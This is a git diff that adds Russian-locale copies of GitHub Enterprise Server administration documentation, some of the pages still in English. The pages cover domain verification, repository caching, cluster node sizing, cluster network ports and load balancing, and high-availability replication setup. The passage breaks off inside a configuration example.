000000000000..e7a58630a80e --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md @@ -0,0 +1,84 @@ +--- +title: Проверка или утверждение домена для вашего предприятия +shortTitle: Verify or approve a domain +intro: 'Вы можете проверить владение доменами с помощью {% data variables.product.company_short %}, чтобы подтвердить удостоверения организаций, принадлежащих вашей корпоративной учетной записи. Вы также можете утверждать домены, в которых участники организации могут получать уведомления по электронной почте.' +product: '{% data reusables.gated-features.verify-and-approve-domain %}' +versions: + ghec: '*' + ghes: '*' +permissions: Enterprise owners can verify or approve a domain for an enterprise account. +type: how_to +topics: + - Enterprise + - Notifications + - Organizations + - Policy +redirect_from: + - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/verifying-or-approving-a-domain-for-your-enterprise-account + - /admin/configuration/verifying-or-approving-a-domain-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise/verifying-your-enterprise-accounts-domain + - /github/articles/verifying-your-enterprise-accounts-domain + - /early-access/github/articles/verifying-your-enterprise-accounts-domain + - /github/setting-up-and-managing-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account + - /admin/policies/verifying-or-approving-a-domain-for-your-enterprise +ms.openlocfilehash: dd4b832eebac9b709f5ee03d91b74df2dc778dfa +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008823' +--- +## Сведения о проверке доменов + +Проверив домены, вы можете убедиться, что веб-сайты и адреса электронной почты, указанные в профилях любой организации, принадлежащей вашей корпоративной учетной записи, контролируются вашим предприятием. Проверенные домены для корпоративной учетной записи применяются ко всем организациям, принадлежащим корпоративной учетной записи. + +После проверки владения доменами учетной записи предприятия индикатор событий "Проверено" отображается в профиле каждой организации, у которой есть домен, указанный в ее профиле. {% data reusables.organizations.verified-domains-details %} + +Для доменов, настроенных на уровне предприятия, владельцы предприятия могут проверить удостоверение участников организации, просмотрев адрес электронной почты каждого участника в пределах проверенного домена. Владельцы предприятия могут также проверить список участников предприятия, у которых нет адреса электронной почты из проверенного домена, связанного с учетной записью пользователя на сайте {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в статье [Просмотр сведений о членах без адреса электронной почты из проверенного домена](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain). + +После проверки доменов для вашей корпоративной учетной записи можно ограничить уведомления по электронной почте проверенными доменами для всех организаций, принадлежащих вашей корпоративной учетной записи. Дополнительные сведения см. в статье [Ограничение уведомлений по электронной почте для предприятия](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise). + +Даже если вы не ограничили уведомления по электронной почте для корпоративной учетной записи, то если владелец организации ограничит уведомления по электронной почте для организации, члены организации смогут получать уведомления в любых доменах, проверенных или утвержденных для корпоративной учетной записи, помимо любых доменов, проверенных или утвержденных для организации. Дополнительные сведения об ограничении уведомлений для организации см. в разделе [Ограничение уведомлений по электронной почте для организации](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization). + +Владельцы организации также могут проверять дополнительные домены для своих организаций. Дополнительные сведения см. в разделе [Проверка или утверждение домена для вашей организации](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). + +## Сведения об утверждении доменов + +{% data reusables.enterprise-accounts.approved-domains-beta-note %} + +{% data reusables.enterprise-accounts.approved-domains-about %} + +После утверждения доменов для вашей корпоративной учетной записи можно ограничить уведомления по электронной почте для действий в вашей корпоративной учетной записи только пользователями с проверенными адресами электронной почты в проверенных или утвержденных доменах. Дополнительные сведения см. в статье [Ограничение уведомлений по электронной почте для предприятия](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise). + +{% ifversion ghec %} Чтобы получать уведомления по электронной почте, владелец учетной записи пользователя должен проверить адрес электронной почты на {% data variables.product.product_name %}. Дополнительные сведения см. в статье [Проверка адреса электронной почты](/github/getting-started-with-github/verifying-your-email-address).{% endif %} + +Владельцы организации не могут видеть адрес электронной почты или учетную запись пользователя, связанную с адресом электронной почты из утвержденного домена. + +Владельцы организации также могут утвердить дополнительные домены для своих организаций. Дополнительные сведения см. в разделе [Проверка или утверждение домена для вашей организации](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). + +## Проверка домена для корпоративной учетной записи + +Чтобы проверить домен вашей корпоративной учетной записи, необходимо иметь доступ для изменения записей домена с помощью службы размещения доменов. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.enterprise-accounts.add-a-domain %} {% data reusables.organizations.add-domain %} {% data reusables.organizations.add-dns-txt-record %} +1. Дождитесь изменения конфигурации DNS (это может занять до 72 часов). Вы можете подтвердить изменение конфигурации DNS, выполнив команду `dig` в командной строке, заменив `ENTERPRISE-ACCOUNT` на имя вашей корпоративной учетной записи и `example.com` на домен, который вы хотите проверить. В выходных данных команды должна появиться новая запись в текстовом формате. + ```shell + dig _github-challenge-ENTERPRISE-ACCOUNT.DOMAIN-NAME +nostats +nocomments +nocmd TXT + ``` +1. После подтверждения добавления записи TXT в DNS выполните шаги, описанные выше, чтобы перейти к утвержденным и проверенным доменам вашей корпоративной учетной записи. +{% data reusables.enterprise-accounts.continue-verifying-domain %} +1. При необходимости после того, как индикатор событий "Проверено" отображается в профилях вашей организации, удалите текстовую запись из записи DNS в службе размещения домена. +![Индикатор событий "Проверено"](/assets/images/help/organizations/verified-badge.png) + +## Утверждение домена для корпоративной учетной записи + +{% data reusables.enterprise-accounts.approved-domains-beta-note %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.enterprise-accounts.add-a-domain %} {% data reusables.organizations.add-domain %} {% data reusables.organizations.domains-approve-it-instead %} {% data reusables.organizations.domains-approve-domain %} + +## Удаление утвержденного или проверенного домена + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} +1. Справа от удаляемого домена щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем нажмите кнопку **Удалить**. + ![Команда "Удалить" для домена](/assets/images/help/organizations/domains-delete.png) diff --git a/translations/ru-RU/content/admin/configuration/index.md b/translations/ru-RU/content/admin/configuration/index.md new file mode 100644 index 000000000000..600fb3d4f94c --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/index.md @@ -0,0 +1,28 @@ +--- +title: Настройка GitHub Enterprise +shortTitle: Configure GitHub Enterprise +intro: Вы можете настроить ваше предприятие в соответствии с потребностями вашей организации. +redirect_from: + - /enterprise/admin/configuration +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /configuring-your-enterprise + - /configuring-network-settings + - /configuring-github-connect +ms.openlocfilehash: da67d011e017d84e5eb3c384355e047bbdd669ae +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120659' +--- +{% ifversion ghes %} {% note %} + +**Примечание.** Инструкции по настройке {% data variables.product.prodname_actions %} или {% data variables.product.prodname_registry %} для вашего предприятия см. в разделе [Управление GitHub Actions для вашего предприятия](/admin/github-actions) или [Управление GitHub Packages для вашего предприятия](/admin/packages). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/content/admin/enterprise-management/caching-repositories/about-repository-caching.md b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/about-repository-caching.md new file mode 100644 index 000000000000..814f55de38f7 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/about-repository-caching.md @@ -0,0 +1,21 @@ +--- +title: About repository caching +intro: You can increase the performance of Git read operations for distributed teams and CI farms with repository caching. +versions: + ghes: '*' +type: overview +topics: + - Enterprise +--- + +{% data reusables.enterprise.repository-caching-release-phase %} + +If you have teams and CI farms located around the world, you may experience reduced performance on your primary {% data variables.product.prodname_ghe_server %} instance. While active geo-replicas can improve the performance of read requests, this comes at the cost of limiting write throughput. To reduce load on your primary instance and improve write throughput performance, you can configure a repository cache, an asynchronous read-only mirror of repositories located near these geographically-distributed clients. + +A repository cache eliminates the need for {% data variables.product.product_name %} to transmit the same Git data over a long-haul network link multiple times to serve multiple clients, by serving your repository data close to CI farms and distributed teams. For instance, if your primary instance is in North America and you also have a large presence in Asia, you will benefit from setting up the repository cache in Asia for use by CI runners there. + +The repository cache listens to the primary instance, whether that's a single instance or a geo-replicated set of instances, for changes to Git data. CI farms and other read-heavy consumers clone and fetch from the repository cache instead of the primary instance. Changes are propagated across the network, at periodic intervals, once per cache instance rather than once per client. Git data will typically be visible on the repository cache within several minutes after the data is pushed to the primary instance. {% ifversion ghes > 3.3 %}The [`cache_sync` webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#cache_sync) can be used by CI systems to react to data being available in the cache.{% endif %} + +You have fine-grained control over which repositories are allowed to sync to the repository cache. Git data will only be replicated to the locations you specify. + +{% data reusables.enterprise.repository-caching-config-summary %} For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)." diff --git a/translations/ru-RU/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md new file mode 100644 index 000000000000..5df477d06c75 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md @@ -0,0 +1,117 @@ +--- +title: Configuring a repository cache +intro: 'You can configure a repository cache for {% data variables.product.product_name %} by creating a new instance, connecting the repository cache to your primary instance, and configuring replication of repository networks to the repository cache.' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise +--- + +{% data reusables.enterprise.repository-caching-release-phase %} + +## About configuration for repository caching + +{% data reusables.enterprise.repository-caching-config-summary %} Then, you can set data location policies that govern which repository networks are replicated to the repository cache. + +Repository caching is not supported with clustering. + +## DNS for repository caches + +The primary instance and repository cache should have different DNS names. For example, if your primary instance is at `github.example.com`, you might decide to name a cache `europe-ci.github.example.com` or `github.asia.example.com`. + +To have your CI machines fetch from the repository cache instead of the primary instance, you can use Git's `url..insteadOf` configuration setting. For more information, see [`git-config`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-urlltbasegtinsteadOf) in the Git documentation. + +For example, the global `.gitconfig` for the CI machine would include these lines. + +``` +[url "https://europe-ci.github.example.com/"] + insteadOf = https://github.example.com/ +``` + +Then, when told to fetch `https://github.example.com/myorg/myrepo`, Git will instead fetch from `https://europe-ci.github.example.com/myorg/myrepo`. + +## Configuring a repository cache + +{% ifversion ghes = 3.3 %} +{% data reusables.enterprise_installation.ssh-into-instance %} +1. To enable repository caching, run the following command. + + ``` + $ ghe-config cluster.cache-enabled true + ``` +{%- endif %} +1. Set up a new {% data variables.product.prodname_ghe_server %} instance on your desired platform. This instance will be your repository cache. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/guides/installation/setting-up-a-github-enterprise-server-instance)." +{% data reusables.enterprise_installation.replica-steps %} +1. Connect to the repository cache's IP address using SSH. + + ```shell + $ ssh -p 122 admin@REPLICA-IP + ``` +{%- ifversion ghes = 3.3 %} +1. On your cache replica, enable the feature flag for repository caching. + + ``` + $ ghe-config cluster.cache-enabled true + ``` +{%- endif %} +{% data reusables.enterprise_installation.generate-replication-key-pair %} +{% data reusables.enterprise_installation.add-ssh-key-to-primary %} +1. To verify the connection to the primary and enable replica mode for the repository cache, run `ghe-repl-setup` again. + + ```shell + $ ghe-repl-setup PRIMARY-IP + ``` + +{% ifversion ghes < 3.6 %} +1. Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed. Also set a datacenter name for this cache; new caches will attempt to seed from another cache in the same datacenter. + + ```shell + $ ghe-repl-node --cache CACHE-LOCATION --datacenter REPLICA-DC-NAME + ``` +{% else %} +1. To configure the repository cache, use the `ghe-repl-node` command and include the necessary parameters. + - Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed. The *CACHE-LOCATION* value must not be any of the subdomains reserved for use with subdomain isolation, such as `assets` or `media`. For a list of reserved names, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)." + - Set a `cache-domain` for the repository cache, replacing *EXTERNAL-CACHE-DOMAIN* with the hostname Git clients will use to access the repository cache. If you do not specify a `cache-domain`, {% data variables.product.product_name %} will prepend the *CACHE-LOCATION* value as a subdomain to the hostname configured for your instance. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)." + - New caches will attempt to seed from another cache in the same datacenter. Set a `datacenter` for the repository cache, replacing *REPLICA-DC-NAME* with the name of the datacenter where you're deploying the node. + + ```shell + $ ghe-repl-node --cache CACHE-LOCATION --cache-domain EXTERNAL-CACHE-DOMAIN --datacenter REPLICA-DC-NAME + ``` +{% endif %} + +{% data reusables.enterprise_installation.replication-command %} +{% data reusables.enterprise_installation.verify-replication-channel %} +1. To enable replication of repository networks to the repository cache, set a data location policy. For more information, see "[Data location policies](#data-location-policies)." + +## Data location policies + +You can control data locality by configuring data location policies for your repositories with the `spokesctl cache-policy` command. Data location policies determine which repository networks are replicated on which repository caches. By default, no repository networks will be replicated on any repository caches until a data location policy is configured. + +Data location policies affect only Git content. Content in the database, such as issues and pull request comments, will be replicated to all nodes regardless of policy. + +{% note %} + +**Note:** Data location policies are not the same as access control. You must use repository roles to control which users may access a repository. For more information about repository roles, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." + +{% endnote %} + +You can configure a policy to replicate all networks with the `--default` flag. For example, this command will create a policy to replicate a single copy of every repository network to the set of repository caches whose `cache_location` is "kansas". + + ``` + $ ghe-spokesctl cache-policy set --default 1 kansas + ``` + +To configure replication for a repository network, specify the repository that is the root of the network. A repository network includes a repository and all of the repository's forks. You cannot replicate part of a network without replicating the whole network. + +``` +$ ghe-spokesctl cache-policy set 1 kansas +``` + +You can override a policy that replicates all networks and exclude specific networks by specifying a replica count of zero for the network. For example, this command specifies that any repository cache in location "kansas" cannot contain any copies of that network. + +``` +$ ghe-spokesctl cache-policy set 0 kansas +``` + +Replica counts greater than one in a given cache location are not supported. diff --git a/translations/ru-RU/content/admin/enterprise-management/caching-repositories/index.md b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/index.md new file mode 100644 index 000000000000..f84a25d1cca0 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/caching-repositories/index.md @@ -0,0 +1,13 @@ +--- +title: Caching repositories +intro: 'You can improve performance for your geographically-distributed team with repository caching, which provides read-only mirrors close to your users and CI clients.' +versions: + ghes: '*' +topics: + - Enterprise +children: + - /about-repository-caching + - /configuring-a-repository-cache +--- + +{% data reusables.enterprise.repository-caching-release-phase %} diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md new file mode 100644 index 000000000000..23005922d093 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md @@ -0,0 +1,80 @@ +--- +title: Сведения об узлах кластера +intro: '*Узлы* — это экземпляры {% data variables.product.prodname_ghe_server %}, которые работают в кластере. Каждый узел запускает набор служб, предоставляемых кластеру, и в конечном счете пользователям.' +redirect_from: + - /enterprise/admin/clustering/about-cluster-nodes + - /enterprise/admin/enterprise-management/about-cluster-nodes + - /admin/enterprise-management/about-cluster-nodes +versions: + ghes: '*' +type: overview +topics: + - Clustering + - Enterprise +ms.openlocfilehash: 6c009e5d5aa1c2f0b2d3effb3beab2d51f48b070 +ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167081' +--- +{% data reusables.enterprise_clustering.clustering-requires-https %} + +## Минимальные рекомендации по оборудованию +Каждый узел должен иметь корневой том, а также отдельный том данных. Ниже приведены минимальные рекомендации. В зависимости от шаблона использования может потребоваться больше ресурсов, таких как активность пользователей и выбранные интеграции. + +| Службы | Минимальные требования к памяти | Минимальные требования к свободному месту на диске | +| :-: | :-: | :-: | +| `job-server`,
`memcache-server`,
`web-server` | 14 ГБ | 1 ГБ | +| `consul-server`,
`mysql-server`,
`redis-server` | 14 ГБ | 10 ГБ | +| `git-server`,
`metrics-server`,
`pages-server`,
`storage-server` | 14 ГБ | 10 ГБ | +| `elasticsearch-server` | 14 ГБ | 10 ГБ | + +## Службы, необходимые для кластеризации +Для обеспечения адекватной избыточности используйте эти минимальные узлы, на которых запущена каждая из служб. + +{% tip %} + +**Примечание.** Потребности вашей организации в масштабируемости зависят от многих факторов, включая размер и количество репозиториев, число пользователей и общий объем использования. + +{% endtip %} + +| Службы | Минимальное необходимое количество узлов | +| :-: | :-: | +| `job-server`,
`memcache-server`,
`metrics-server`,
`web-server` | 2 | +| `mysql-server`,
`redis-server` | 2 | +| `consul-server` | 3 | +| `git-server`,
`pages-server`,
`storage-server` | 3 | +| `elasticsearch-server` | 3 | + +## Рекомендации по проектированию кластеров + +Кластеризация позволяет службам, составляющим {% data variables.product.prodname_ghe_server %}, масштабироваться независимо друг от друга. Такие гибкие возможности можно использовать для проектирования и реализации кластера, который соответствует требованиям к масштабированию для различных организаций. Например, некоторым организациям может потребоваться больше пропускной способности хранилища для крупных или регулярных выборок, однако объем потребления ресурсов веб-сервера может быть относительно низким. В другой организации может быть высокая производительность при меньшем объеме ресурсов хранилища, однако требуется много узлов, где запущен `pages-server` или `elasticsearch-server`. Возможно множество различных комбинаций. Обратитесь к своему менеджеру по работе с клиентами, чтобы определить оптимальную конфигурацию кластера для конкретных потребностей. + +- Распределите избыточные узлы по различным независимым единицам оборудования. При совместном использовании ресурсов ЦП, памяти или устройств хранения снижается производительность и добавляются отдельные точки отказа. Общие сетевые компоненты также могут снижать пропускную способность и повышать риск потери соединения в случае сбоя. +- Используйте быстрое хранение. Сети хранения данных (SAN) зачастую оптимизированы для максимального потребления ресурсов пространства, доступности и отказоустойчивости, а не для абсолютной пропускной способности. Кластеризация {% data variables.product.prodname_ghe_server %} обеспечивает избыточность и доступность и оптимальную производительность при использовании максимально быстрого хранилища. Рекомендуется использовать локальное хранилище SSD. +- Установите уровни узлов, которые подходят для вашей организации. Пример конфигурации: + - Уровень интерфейса с двумя узлами и следующими службами: + - `web-server` + - `job-server` + - `memcache-server` + - Уровень базы данных с тремя узлами и следующими службами: + - `consul-server` + - `mysql-server` + - `redis-server` + - Уровень поиска с тремя узлами и следующей службой: + - `elasticsearch-server` + - Уровень хранилища с тремя узлами и следующими службами: + - `git-server` + - `pages-server` + - `storage-server` + - `metrics-server` + +### Пример схемы кластера +{% note %} + +**Примечание. Это только пример.** Оптимальная конфигурация кластера для вашей организации зависит от ваших уникальных потребностей. Обратитесь к назначенному вам торговому представителю или {% data variables.contact.contact_enterprise_sales %}, чтобы получить помощь в определении оптимальной конфигурации кластера. + +{% endnote %} + +Example Cluster diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-clustering.md new file mode 100644 index 000000000000..030322cf6edc --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/about-clustering.md @@ -0,0 +1,35 @@ +--- +title: About clustering +intro: '{% data variables.product.prodname_ghe_server %} clustering allows services that make up {% data variables.product.prodname_ghe_server %} to be scaled out across multiple nodes.' +redirect_from: + - /enterprise/admin/clustering/overview + - /enterprise/admin/clustering/about-clustering + - /enterprise/admin/clustering/clustering-overview + - /enterprise/admin/enterprise-management/about-clustering + - /admin/enterprise-management/about-clustering +versions: + ghes: '*' +type: overview +topics: + - Clustering + - Enterprise +--- +## Clustering architecture + +{% data variables.product.prodname_ghe_server %} is comprised of a set of services. In a cluster, these services run across multiple nodes and requests are load balanced between them. Changes are automatically stored with redundant copies on separate nodes. Most of the services are equal peers with other instances of the same service. The exceptions to this are the `mysql-server` and `redis-server` services. These operate with a single _primary_ node with one or more _replica_ nodes. + +Learn more about [services required for clustering](/enterprise/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering). + +## Is clustering right for my organization? + +{% data reusables.enterprise_clustering.clustering-scalability %} However, setting up a redundant and scalable cluster can be complex and requires careful planning. This additional complexity will need to be planned for during installation, disaster recovery scenarios, and upgrades. + +{% data variables.product.prodname_ghe_server %} requires low latency between nodes and is not intended for redundancy across geographic locations. + +Clustering provides redundancy, but it is not intended to replace a High Availability configuration. For more information, see [High Availability configuration](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). A primary/secondary failover configuration is far simpler than clustering and will serve the needs of many organizations. For more information, see [Differences between Clustering and High Availability](/enterprise/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/). + +{% data reusables.package_registry.packages-cluster-support %} + +## How do I get access to clustering? + +Clustering is designed for specific scaling situations and is not intended for every organization. If clustering is something you'd like to consider, please contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md new file mode 100644 index 000000000000..3bca1364de90 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md @@ -0,0 +1,132 @@ +--- +title: Cluster network configuration +intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.' +redirect_from: + - /enterprise/admin/clustering/cluster-network-configuration + - /enterprise/admin/enterprise-management/cluster-network-configuration + - /admin/enterprise-management/cluster-network-configuration +versions: + ghes: '*' +type: reference +topics: + - Clustering + - Enterprise + - Infrastructure + - Networking +shortTitle: Configure a cluster network +--- +## Network considerations + +The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond. + +{% data reusables.enterprise_clustering.network-latency %} + +### Application ports for end users + +Application ports provide web application and Git access for end users. + +| Port | Description | Encrypted | +| :------------- | :------------- | :------------- | +| 22/TCP | Git over SSH | Yes | +| 25/TCP | SMTP | Requires STARTTLS | +| 80/TCP | HTTP | No
(When SSL is enabled this port redirects to HTTPS) | +| 443/TCP | HTTPS | Yes | +| 9418/TCP | Simple Git protocol port
(Disabled in private mode) | No | + +### Administrative ports + +Administrative ports are not required for basic application use by end users. + +| Port | Description | Encrypted | +| :------------- | :------------- | :------------- | +| ICMP | ICMP Ping | No | +| 122/TCP | Administrative SSH | Yes | +| 161/UDP | SNMP | No | +| 8080/TCP | Management Console HTTP | No
(When SSL is enabled this port redirects to HTTPS) | +| 8443/TCP | Management Console HTTPS | Yes | + +### Cluster communication ports + +If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally. + +| Port | Description | +| :------------- | :------------- | +| 1336/TCP | Internal API | +| 3033/TCP | Internal SVN access | +| 3037/TCP | Internal SVN access | +| 3306/TCP | MySQL | +| 4486/TCP | Governor access | +| 5115/TCP | Storage backend | +| 5208/TCP | Internal SVN access | +| 6379/TCP | Redis | +| 8001/TCP | Grafana | +| 8090/TCP | Internal GPG access | +| 8149/TCP | GitRPC file server access | +| 8300/TCP | Consul | +| 8301/TCP | Consul | +| 8302/TCP | Consul | +| 9000/TCP | Git Daemon | +| 9102/TCP | Pages file server | +| 9105/TCP | LFS server | +| 9200/TCP | Elasticsearch | +| 9203/TCP | Semantic code service | +| 9300/TCP | Elasticsearch | +| 11211/TCP | Memcache | +| 161/UDP | SNMP | +| 8125/UDP | Statsd | +| 8301/UDP | Consul | +| 8302/UDP | Consul | +| 25827/UDP | Collectd | + +## Configuring a load balancer + + We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations: + + - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests. + - Sticky sessions shouldn't be enabled. + +{% data reusables.enterprise_installation.terminating-tls %} + +## Handling client connection information + +Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required. + +{% data reusables.enterprise_clustering.proxy_preference %} + +{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %} + +### Enabling PROXY support on {% data variables.product.prodname_ghe_server %} + +We strongly recommend enabling PROXY support for both your instance and the load balancer. + +{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} + + - For your instance, use this command: + ```shell + $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply + ``` + - For the load balancer, use the instructions provided by your vendor. + + {% data reusables.enterprise_clustering.proxy_protocol_ports %} + +### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %} + +{% data reusables.enterprise_clustering.x-forwarded-for %} + +To enable the `X-Forwarded-For` header, use this command: + +```shell +$ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply +``` + +{% data reusables.enterprise_clustering.without_proxy_protocol_ports %} + +### Configuring Health Checks +Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability. + +{% data reusables.enterprise_clustering.health_checks %} +{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} + +## DNS Requirements + +{% data reusables.enterprise_clustering.load_balancer_dns %} diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md new file mode 100644 index 000000000000..a4a6b010755c --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md @@ -0,0 +1,363 @@ +--- +title: Configuring high availability replication for a cluster +intro: 'You can configure a passive replica of your entire {% data variables.product.prodname_ghe_server %} cluster in a different location, allowing your cluster to fail over to redundant nodes.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster + - /admin/enterprise-management/configuring-high-availability-replication-for-a-cluster +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise + - High availability + - Infrastructure +shortTitle: Configure HA replication +--- +## About high availability replication for clusters + +You can configure a cluster deployment of {% data variables.product.prodname_ghe_server %} for high availability, where an identical set of passive nodes sync with the nodes in your active cluster. If hardware or software failures affect the datacenter with your active cluster, you can manually fail over to the replica nodes and continue processing user requests, minimizing the impact of the outage. + +In high availability mode, each active node syncs regularly with a corresponding passive node. The passive node runs in standby and does not serve applications or process user requests. + +We recommend configuring high availability as a part of a comprehensive disaster recovery plan for {% data variables.product.prodname_ghe_server %}. We also recommend performing regular backups. For more information, see "[Configuring backups on your appliance](/enterprise/admin/configuration/configuring-backups-on-your-appliance)." + +## Prerequisites + +### Hardware and software + +For each existing node in your active cluster, you'll need to provision a second virtual machine with identical hardware resources. For example, if your cluster has 11 nodes and each node has 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage, you must provision 11 new virtual machines that each have 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage. + +On each new virtual machine, install the same version of {% data variables.product.prodname_ghe_server %} that runs on the nodes in your active cluster. You don't need to upload a license or perform any additional configuration. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)." + +{% note %} + +**Note**: The nodes that you intend to use for high availability replication should be standalone {% data variables.product.prodname_ghe_server %} instances. Don't initialize the passive nodes as a second cluster. + +{% endnote %} + +### Network + +You must assign a static IP address to each new node that you provision, and you must configure a load balancer to accept connections and direct them to the nodes in your cluster's front-end tier. + +{% data reusables.enterprise_clustering.network-latency %} For more information about network connectivity between nodes in the passive cluster, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration)." + +## Creating a high availability replica for a cluster + +- [Assigning active nodes to the primary datacenter](#assigning-active-nodes-to-the-primary-datacenter) +- [Adding passive nodes to the cluster configuration file](#adding-passive-nodes-to-the-cluster-configuration-file) +- [Example configuration](#example-configuration) + +### Assigning active nodes to the primary datacenter + +Before you define a secondary datacenter for your passive nodes, ensure that you assign your active nodes to the primary datacenter. + +{% data reusables.enterprise_clustering.ssh-to-a-node %} + +{% data reusables.enterprise_clustering.open-configuration-file %} + +3. Note the name of your cluster's primary datacenter. The `[cluster]` section at the top of the cluster configuration file defines the primary datacenter's name, using the `primary-datacenter` key-value pair. By default, the primary datacenter for your cluster is named `default`. + + ```shell + [cluster] + mysql-master = HOSTNAME + redis-master = HOSTNAME + primary-datacenter = default + ``` + + - Optionally, change the name of the primary datacenter to something more descriptive or accurate by editing the value of `primary-datacenter`. + +4. {% data reusables.enterprise_clustering.configuration-file-heading %} Under each node's heading, add a new key-value pair to assign the node to a datacenter. Use the same value as `primary-datacenter` from step 3 above. For example, if you want to use the default name (`default`), add the following key-value pair to the section for each node. + + ``` + datacenter = default + ``` + + When you're done, the section for each node in the cluster configuration file should look like the following example. {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %} + + ```shell + [cluster 